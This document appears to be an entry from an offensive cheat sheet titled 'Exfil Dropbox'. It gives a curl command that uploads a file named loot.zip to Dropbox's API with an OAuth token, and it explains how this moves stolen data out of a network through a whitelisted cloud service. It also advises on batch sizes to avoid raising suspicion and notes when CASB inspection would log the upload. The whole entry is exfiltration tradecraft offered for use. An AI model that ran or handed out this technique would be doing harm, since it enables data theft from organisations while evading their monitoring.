Exfil Dropbox

curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <token>" --data-binary @loot.zip

Exfiltrates stolen data to Dropbox using the API and an OAuth token: traffic exits via HTTPS to a legitimate whitelisted service.

Use it when egress only allows HTTPS to known services and you want to exfiltrate medium-sized batches (GB) without raising suspicion: Dropbox, Google Drive, and OneDrive are on almost all corporate whitelists. The API is straightforward with curl and doesn't require the desktop client.

If the blue team uses CASB (Netskope, Zscaler) with TLS inspection of cloud APIs, the upload is logged with the source IP and volume. Also not if the volume is huge: the account quota limits the total.